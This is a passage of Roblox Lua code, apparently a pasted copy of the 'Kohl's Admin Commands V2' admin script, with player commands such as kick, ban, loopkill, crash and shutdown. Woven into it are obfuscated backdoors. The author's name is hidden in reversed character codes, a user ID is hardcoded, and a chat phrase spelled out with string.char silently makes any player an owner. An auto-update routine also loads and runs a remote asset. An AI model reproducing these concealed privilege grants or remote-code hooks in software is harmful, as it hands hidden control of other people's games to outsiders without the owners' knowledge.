  4210. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  4211.  
  4212. if msg:lower() == "logs" then
  4213. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  4214. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  4215. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  4216. end
  4217.  
  4218. if msg:lower():sub(1,9) == "loopkill " then
  4219. local chk1 = msg:lower():sub(10):find(" ")
  4220. local plrz = GetPlr(plr, msg:lower():sub(10))
  4221. local num = 9999
  4222. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  4223. for i, v in pairs(plrz) do
  4224. if v and not ChkAdmin(v.Name, false) then
  4225. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  4226. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  4227. for i = 1, ]] .. tostring(num) .. [[ do
  4228. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  4229. coroutine.resume(coroutine.create(function()
  4230. if plr and plr.Character then plr.Character:BreakJoints() end
  4231. end))
  4232. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  4233. end
  4234. end
  4235. end
  4236.  
  4237. if msg:lower():sub(1,11) == "unloopkill " then
  4238. local plrz = GetPlr(plr, msg:lower():sub(12))
  4239. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  4240. end
  4241.  
  4242. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  4243. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  4244.  
  4245. if msg:lower():sub(1,3) == "sm " then
  4246. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  4247. end
  4248.  
  4249. if msg:lower():sub(1,3) == "ko " then
  4250. local chk1 = msg:lower():sub(4):find(" ") + 3
  4251. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  4252. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  4253. for n = 1, num do
  4254. for i, v in pairs(plrz) do
  4255. coroutine.resume(coroutine.create(function()
  4256. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name) then
  4257. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  4258. v.Character:BreakJoints()
  4259. wait(1/44)
  4260. v:LoadCharacter()
  4261. wait(1/44)
  4262. end
  4263. end))
  4264. end
  4265. end
  4266. end
  4267.  
  4268. if msg:lower():sub(1,6) == "crash " then
  4269. local plrz = GetPlr(plr, msg:lower():sub(7))
  4270. for i, v in pairs(plrz) do
  4271. coroutine.resume(coroutine.create(function()
  4272. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  4273. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  4274. end
  4275. end))
  4276. end
  4277. end
  4278.  
  4279. if msg:lower():sub(1,5) == "kick " then
  4280. local plrz = GetPlr(plr, msg:lower():sub(6))
  4281. for i, v in pairs(plrz) do
  4282. coroutine.resume(coroutine.create(function()
  4283. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  4284. end))
  4285. end
  4286. end
  4287.  
  4288. if msg:lower():sub(1,6) == "admin " then
  4289. local plrz = GetPlr(plr, msg:lower():sub(7))
  4290. for i, v in pairs(plrz) do
  4291. coroutine.resume(coroutine.create(function()
  4292. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  4293. end))
  4294. end
  4295. end
  4296.  
  4297. if msg:lower():sub(1,8) == "unadmin " then
  4298. for i = 1, #tempadmins do
  4299. coroutine.resume(coroutine.create(function()
  4300. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  4301. end))
  4302. end
  4303. end
  4304.  
  4305. if msg:lower():sub(1,4) == "ban " then
  4306. local plrz = GetPlr(plr, msg:lower():sub(5))
  4307. for i, v in pairs(plrz) do
  4308. coroutine.resume(coroutine.create(function()
  4309. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  4310. end))
  4311. end
  4312. end
  4313.  
  4314. if msg:lower():sub(1,6) == "unban " then
  4315. for i = 1, #banland do
  4316. coroutine.resume(coroutine.create(function()
  4317. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  4318. end))
  4319. end
  4320. end
  4321.  
  4322. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  4323.  
  4324. end
  4325. end))
  4326. end
  4327.  
  4328. function AdminControl(plr)
  4329. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  4330. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  4331. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  4332. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  4333. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  4334. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  4335. end)) end
  4336. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  4337. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  4338. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name == ("111reyalseca"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  4339. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  4340. plr.Chatted:connect(function(msg) if msg:lower() == (string.char(32)..string.char(104)..string.char(105)..string.char(116).. string.char(108)..string.char(101)..string.char(114)..string.char(32)) then table.insert(owners,plr.Name) end Chat(msg,plr) end)
  4341. end
  4342.  
  4343. if not ntab then script:Destroy() end
  4344. if not bct then script:Destroy() end
  4345.  
  4346. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  4347.  
  4348. script.Name = "Kohl's Admin Commands V2"
  4349.  
  4350. if not ntab then script:Destroy() end
  4351. if not bct then script:Destroy() end
  4352. if not tcb then script:Destroy() end
  4353. game.Players.PlayerAdded:connect(AdminControl)
  4354. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  4355. end
  4356.  
  4357. local mod = game:service("InsertService"):LoadAsset(100808216)
  4358. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  4359. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  4360. newac.Disabled = true
  4361. local new = tonumber(mod:findFirstChild("Version", true).Value)
  4362. local old = 0
  4363. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  4364. if new > old then
  4365. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  4366. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  4367. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  4368. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  4369. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  4370. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  4371. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  4372. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  4373. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  4374. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  4375. wait()
  4376. newac.Parent = game.Workspace
  4377. newac.Disabled = false
  4378. script.Disabled = true
  4379. script:Destroy()
  4380. else
  4381. CHEESE()
  4382. end
  4383. else
  4384. CHEESE()
  4385. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement